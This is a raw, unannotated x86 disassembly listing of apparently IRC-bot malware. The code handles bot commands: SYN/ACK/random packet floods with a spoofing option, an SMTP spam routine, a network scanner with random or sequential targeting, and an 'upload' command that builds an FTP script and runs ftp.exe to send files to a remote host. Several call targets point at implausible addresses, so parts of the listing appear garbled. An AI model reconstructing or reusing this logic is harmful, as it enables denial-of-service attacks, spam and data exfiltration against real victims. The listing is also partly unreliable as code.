		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAF14
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB028
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB024
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAFA4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFF4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		push	esi
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9FC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A9B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A970
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A938
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A900

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB094, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A8B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A880
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7F4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A78C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A744
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_42A70C

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A6CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A6A4
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 26A0DE3h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A634
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A604

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431438

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A59C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42A470
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
